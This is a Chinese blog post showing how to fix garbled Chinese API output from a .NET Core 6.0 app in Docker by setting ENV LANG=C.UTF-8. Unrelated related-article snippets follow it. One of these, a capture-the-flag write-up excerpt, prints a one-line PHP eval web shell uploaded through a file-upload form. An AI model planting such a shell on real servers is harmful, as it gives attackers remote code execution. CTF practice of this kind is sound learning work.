【Docker】.NET Core 6.0 webapi 发布上传到Docker Desktop并启动运行访问,接口返回数据乱码解决方法
欢迎来到《小5讲堂》,大家好,我是全栈小5。
这是《Docker容器》系列文章,每篇文章将以博主理解的角度展开讲解,
特别是针对知识点的概念进行叙说,大部分文章将会对这些概念进行实际例子验证,以此达到加深对知识点的理解和掌握。
温馨提示:博主能力有限,理解水平有限,若有不对之处望指正!
目录
- 前言
- 访问乱码
- 乱码分析
- core方向
- docker方向
- 乱码原因
- 解决方法
- 相关文章
前言
接上篇文章提到的中文乱码问题,本篇文章就来讲讲如何解决这个问题。
在Docker环境中,由于它默认的字符编码不是UTF-8,所以导致一些非 ASCII 字符显示乱码。
访问乱码
乱码分析
core方向
刚开始以为是.net core程序里需要设置编码,尝试下面代码进行解决,接触新东西总要踩下坑。
app.Use((context, next) =>
{context.Request.Headers["Accept-Charset"] = "utf-8"; // 设置请求头部字符编码为 UTF-8context.Response.Headers["Content-Type"] = "text/plain; charset=utf-8"; // 设置响应头部字符编码为 UTF-8return next();
});
更新上面代码后,发现还是不行,同时也查看了响应标头,Content-Type,是有包含utf-8编码
docker方向
在core设置编码无效后,转到docker方向思考,查询相关资料可以通过设置Dockerfile来设置字符编码。
- 关键设置
一个是有空格,一个是等于号,刚接触docker不久,不知道是不是因为版本问题,有知道的小伙伴可以评论区留言。
对于当前docker版本Docker version 24.0.7, build afdd53b,使用等于号才是正确参数设置,空格则无效。
错误写法:ENV LANG C.UTF-8
正确写法:ENV LANG=C.UTF-8
- 博主文件
#See https://aka.ms/customizecontainer to learn how to customize your debug container and how Visual Studio uses this Dockerfile to build your images for faster debugging.FROM mcr.microsoft.com/dotnet/aspnet:6.0 AS base
WORKDIR /app
EXPOSE 80
EXPOSE 443# 设置环境变量
ENV LANG=C.UTF-8FROM mcr.microsoft.com/dotnet/sdk:6.0 AS build
WORKDIR /src
COPY ["WebApiDocker.csproj", "."]
RUN dotnet restore "./WebApiDocker.csproj"
COPY . .
WORKDIR "/src/."
RUN dotnet build "WebApiDocker.csproj" -c Release -o /app/buildFROM build AS publish
RUN dotnet publish "WebApiDocker.csproj" -c Release -o /app/publish /p:UseAppHost=falseFROM base AS final
WORKDIR /app
COPY --from=publish /app/publish .
ENTRYPOINT ["dotnet", "WebApiDocker.dll"]
乱码原因
中文乱码问题通常是由于字符编码不一致或不正确引起的。
- 以下是可能导致中文乱码的一些常见原因
1.系统编码设置不正确
在 Docker 环境中,如果没有正确设置系统的字符编码,可能会导致中文乱码问题。您可以尝试在 Dockerfile 中使用
ENV LANG=C.UTF-8 或 ENV LC_ALL=C.UTF-8 来设置系统的字符编码为 UTF-8。
2.文件编码不兼容
如果您的应用程序使用文件作为输入或输出,并且文件的编码与其他组件(如数据库或浏览器)所使用的编码不一致,那么在读取或传输文件时可能会出现乱码。请确保所有相关文件的编码一致,并且使用与其他组件兼容的编码方式,如 UTF-8。
3.字符编码设置不正确
在应用程序中,如果没有正确设置响应的字符编码,那么在返回数据时可能会出现乱码。确保在应用程序中正确设置响应的字符编码,以确保数据以正确的编码进行传输。
4.数据库编码不兼容
如果您的应用程序与数据库交互,并且数据库的编码与您的应用程序所使用的编码不匹配,那么在读取或写入数据库时可能会导致中文乱码。请确保在设置数据库时使用与应用程序兼容的编码,并在应用程序中正确处理数据的编码。
5.编码转换错误
在处理和传输数据时,如果没有正确处理编码转换操作,可能会导致中文乱码。确保在数据传输过程中进行正确的编码转换,以保持数据的一致性和正确性。
解决方法
Docker Core(也称为 Docker Engine)容器环境本身并没有特定的固定编码集。
它使用的是主机操作系统的默认编码集。
因此,Docker Core 容器环境的编码集取决于所在主机操作系统的设置。
在某些情况下,如果主机操作系统的默认编码集不是 UTF-8,那么在容器环境中显示中文可能会遇到问题。
这是因为容器内的应用程序通常会采用 UTF-8 编码来正确处理和显示多语言文本,尤其是涉及到非 ASCII 字符(如中文字符)时。
因此,如果容器内的应用程序期望使用 UTF-8 编码来正确处理和显示中文文本,那么在 Dockerfile 中设置 ENV LANG=C.UTF-8 是一种常见和推荐的做法。
这个设置将确保容器运行时的默认字符编码为 UTF-8。这样,应用程序在容器环境中运行时可以使用正确的编码来处理和显示中文文本。
当您设置 ENV LANG=C.UTF-8 后,容器内的其他组件(如数据库)也可能需要进行相应的设置以兼容 UTF-8 编码。
ENV LANG=C.UTF-8
- 重新上传
直接把编译后的文件拖到对应文件夹下,右上角也会显示正在覆盖的文件数量
- 重启容器
需要重启容器,否则无效果
cmd:docker restart webapi(自己容器名称)
- 解决后显示效果
相关文章
【Docker】linux、nginx、容器镜像三者基本概念
【Docker】在Windows下使用Docker Desktop创建nginx容器并访问默认网站
【Docker】在Windows操作系统上安装Docker
【Docker】了解Docker Desktop桌面应用程序,TA是如何管理和运行Docker容器(1)
【Docker】使用VS创建、运行、打包、部署.net core 6.0 webapi
总结:温故而知新,不同阶段重温知识点,会有不一样的认识和理解,博主将巩固一遍知识点,并以实践方式和大家分享,若能有所帮助和收获,这将是博主最大的创作动力和荣幸。也期待认识更多优秀新老博主。
相关文章:

【Docker】.NET Core 6.0 webapi 发布上传到Docker Desktop并启动运行访问,接口返回数据乱码解决方法
欢迎来到《小5讲堂》,大家好,我是全栈小5。 这是《Docker容器》系列文章,每篇文章将以博主理解的角度展开讲解, 特别是针对知识点的概念进行叙说,大部分文章将会对这些概念进行实际例子验证,以此达到加深对…...

【Android Gradle 插件】自定义 Gradle 插件模块 ⑤ ( 完整总结 )
一、创建自定义插件类型模块 ( Java or Kotlin Library ) 选择 " 菜单栏 / New / New Module… " 选项 , 在 " Create New Module " 对话框中 , 选择 创建 " Java or Kotlin Library " 类型的依赖库 ; 二、手动导入相关依赖 ( Java | Groovy | …...

浅析现代计算机启动流程
文章目录 前言启动流程概述磁盘分区格式MBR磁盘GPT磁盘隐藏分区 传统BIOS引导传统BIOS启动流程 UEFI引导UEFI引导程序UEFI启动流程 引导加载程序启动操作系统相关参考 前言 现代计算机的启动是一个漫长的流程,这个流程中会涉及到各种硬件的配置与交互,包…...

七月论文审稿GPT第2.5和第3版:分别微调GPT3.5、Llama2 13B以扩大对GPT4的优势
前言 自去年7月份我带队成立大模型项目团队以来,我司至今已有5个项目组,其中 第一个项目组的AIGC模特生成系统已经上线在七月官网第二项目组的论文审稿GPT则将在今年3 4月份对外上线发布第三项目组的RAG知识库问答第1版则在春节之前已就绪至于第四、第…...

Android Studio导入项目 下载gradle很慢或连接超时
AS最常见的问题之一就是下载gradle非常慢,还经常出现下载失败的情况,没有gradle就无法build项目,所以一定要先解决gradle的下载问题,下面教大家两种常用方法 手动下载压缩包并替换 1、关闭Android Studio,复制下面的网…...

如何使用VSCode上运行Jupyter,详细案例过程出可视化图
Python作为最受AI喜欢的语言之一,我们与大家共同学习下如何在VS Code上运行Jupyter,并且用简单案例实现出图。 环境 VS Code version: 1.80.1 Python: 3.12.0 小白安装过程: 在准备好基础环境,小白心想,AI可是霸占科…...

Linux中有名管道和无名管道
无名管道基础 进程间通信介绍 常用通信方式 无名管道(pipe) 有名管道 (fifo) 信号(signal) 共享内存(mmap) 套接字(socket)过时的IPC通信方式 System V IPC 共享内存(sh…...

[SWPUCTF 2021 新生赛]easyupload1.0
发现是上传文件第一想到是文件木马 <?php eval ($_POST[123]);?>木马上传burp修改后缀发现flag里面这个是假的 我们猜想是在phpinfo我们上传<?php eval(phpinfo(););?>木马上传burp修改后缀里面 CtrlF 发现flag...

【Linux网络编程三】Udp套接字编程(简易版服务器)
【Linux网络编程三】Udp套接字编程(简易版服务器) 一.创建套接字二.绑定网络信息1.构建通信类型2.填充网络信息①网络字节序的port②string类型的ip地址 3.最终绑定 三.读收消息1.服务器端接收消息recvfrom2.服务器端发送消息sendto3.客户端端发送消息sendto4.客户端…...

【Rust】字符串,看这篇就够了
这节课我们把字符串单独拿出来讲,是因为字符串太常见了,甚至有些应用的主要工作就是处理字符串。比如 Web 开发、解析器等。而 Rust 里的字符串内容相比于其他语言来说还要多一些。是否熟练掌握 Rust 的字符串的使用,对 Rust 代码开发效率有很…...
单片机和 ARM 的区别
单片机和 ARM 在功能和使用上有一些区别,因此哪个更好用取决于具体的需求和场景。 单片机是一种集成了微处理器、存储器和外设接口的集成电路芯片,通常具有体积小、功耗低、可靠性高、成本低等特点。单片机广 泛应用于各种领域,如智能仪表、工…...

JavaScript从入门到精通系列第三十一篇:详解JavaScript中的字符串和正则表达式相关的方法
文章目录 知识回顾 1:概念回顾 2:正则表达式字面量 一:字符串中正则表达式方法 1:split 2:search 3:match 4:replace 知识回顾 1:概念回顾 正则表达式用于定义一些字符串的…...

23、数据结构/查找相关练习20240205
一、请编程实现哈希表的创建存储数组{12,24,234,234,23,234,23},输入key查找的值,实现查找功能。 代码: #include<stdlib.h> #include<string.h> #include<stdio.h> #include<math.h> typedef struct Node {int data;struct n…...

【VSTO开发-WPS】下调试
重点2步: 1、注册表添加 Windows Registry Editor Version 5.00[HKEY_CURRENT_USER\Software\kingsoft\Office\WPP\AddinsWL] "项目名称"""2、visual studio 运行后,要选中附加到调试,并指定启动项目。 如PPT输入WPP搜…...
git 的基本概念
当使用Git时,一些基本概念包括: 1. **仓库(Repository):** 存储项目文件和版本历史的地方。可以是本地仓库(在你的计算机上)或远程仓库(在服务器上)。 2. **提交&#…...

《统计学习方法:李航》笔记 从原理到实现(基于python)-- 第6章 逻辑斯谛回归与最大熵模型(1)6.1 逻辑斯谛回归模型
文章目录 第6章 逻辑斯谛回归与最大熵模型6.1 逻辑斯谛回归模型6.1.1 逻辑斯谛分布6.1.2 二项逻辑斯谛回归模型6.1.3 模型参数估计6.1.4 多项逻辑斯谛回归 《统计学习方法:李航》笔记 从原理到实现(基于python)-- 第3章 k邻近邻法 《统计学习…...

Go 中如何检查文件是否存在?可能产生竞态条件?
嗨,大家好!本文是系列文章 Go 技巧第十三篇,系列文章查看:Go 语言技巧。 Go 中如何检查文件是否存在呢? 如果你用的是 Python,可通过标准库中 os.path.exists 函数实现。遗憾的是,Go 标准库没有…...

红日靶场1搭建渗透
环境搭建 下载好镜像文件并解压,启动vmware 这里我用自己的win7 sp1虚拟机作为攻击机,设置为双网卡NAT,vm2 其中用ipconfig查看攻击机ip地址 设置win7 x64为双网卡,vm1,vm2 设置win08单网卡vm1,win2k3为单…...

ChatGPT之搭建API代理服务
简介 一行Docker命令部署的 OpenAI/GPT API代理,支持SSE流式返回、腾讯云函数 。 项目地址:https://github.com/easychen/openai-api-proxy 这个项目可以自行搭建 OpenAI API 代理服务器工具,该项目是代理的服务器端,不是客户端。…...
Kotlin手记(一):基础大杂烩
Kotlin简介 2011年7月,JetBrains推出Kotlin项目,这是一个面向JVM的新语言 2012年2月,JetBrains以Apache 2许可证开源此项目。 2016年2月15日,Kotlin v1.0发布,这被认为是第一个官方稳定版本。 在Google I/O 2017中&am…...
日语学习-日语知识点小记-构建基础-JLPT-N4阶段(33):にする
日语学习-日语知识点小记-构建基础-JLPT-N4阶段(33):にする 1、前言(1)情况说明(2)工程师的信仰2、知识点(1) にする1,接续:名词+にする2,接续:疑问词+にする3,(A)は(B)にする。(2)復習:(1)复习句子(2)ために & ように(3)そう(4)にする3、…...

[ICLR 2022]How Much Can CLIP Benefit Vision-and-Language Tasks?
论文网址:pdf 英文是纯手打的!论文原文的summarizing and paraphrasing。可能会出现难以避免的拼写错误和语法错误,若有发现欢迎评论指正!文章偏向于笔记,谨慎食用 目录 1. 心得 2. 论文逐段精读 2.1. Abstract 2…...

华为OD机试-食堂供餐-二分法
import java.util.Arrays; import java.util.Scanner;public class DemoTest3 {public static void main(String[] args) {Scanner in new Scanner(System.in);// 注意 hasNext 和 hasNextLine 的区别while (in.hasNextLine()) { // 注意 while 处理多个 caseint a in.nextIn…...
反射获取方法和属性
Java反射获取方法 在Java中,反射(Reflection)是一种强大的机制,允许程序在运行时访问和操作类的内部属性和方法。通过反射,可以动态地创建对象、调用方法、改变属性值,这在很多Java框架中如Spring和Hiberna…...

【Zephyr 系列 10】实战项目:打造一个蓝牙传感器终端 + 网关系统(完整架构与全栈实现)
🧠关键词:Zephyr、BLE、终端、网关、广播、连接、传感器、数据采集、低功耗、系统集成 📌目标读者:希望基于 Zephyr 构建 BLE 系统架构、实现终端与网关协作、具备产品交付能力的开发者 📊篇幅字数:约 5200 字 ✨ 项目总览 在物联网实际项目中,**“终端 + 网关”**是…...
今日科技热点速览
🔥 今日科技热点速览 🎮 任天堂Switch 2 正式发售 任天堂新一代游戏主机 Switch 2 今日正式上线发售,主打更强图形性能与沉浸式体验,支持多模态交互,受到全球玩家热捧 。 🤖 人工智能持续突破 DeepSeek-R1&…...

OPENCV形态学基础之二腐蚀
一.腐蚀的原理 (图1) 数学表达式:dst(x,y) erode(src(x,y)) min(x,y)src(xx,yy) 腐蚀也是图像形态学的基本功能之一,腐蚀跟膨胀属于反向操作,膨胀是把图像图像变大,而腐蚀就是把图像变小。腐蚀后的图像变小变暗淡。 腐蚀…...

算法笔记2
1.字符串拼接最好用StringBuilder,不用String 2.创建List<>类型的数组并创建内存 List arr[] new ArrayList[26]; Arrays.setAll(arr, i -> new ArrayList<>()); 3.去掉首尾空格...

华硕a豆14 Air香氛版,美学与科技的馨香融合
在快节奏的现代生活中,我们渴望一个能激发创想、愉悦感官的工作与生活伙伴,它不仅是冰冷的科技工具,更能触动我们内心深处的细腻情感。正是在这样的期许下,华硕a豆14 Air香氛版翩然而至,它以一种前所未有的方式&#x…...

【JVM面试篇】高频八股汇总——类加载和类加载器
目录 1. 讲一下类加载过程? 2. Java创建对象的过程? 3. 对象的生命周期? 4. 类加载器有哪些? 5. 双亲委派模型的作用(好处)? 6. 讲一下类的加载和双亲委派原则? 7. 双亲委派模…...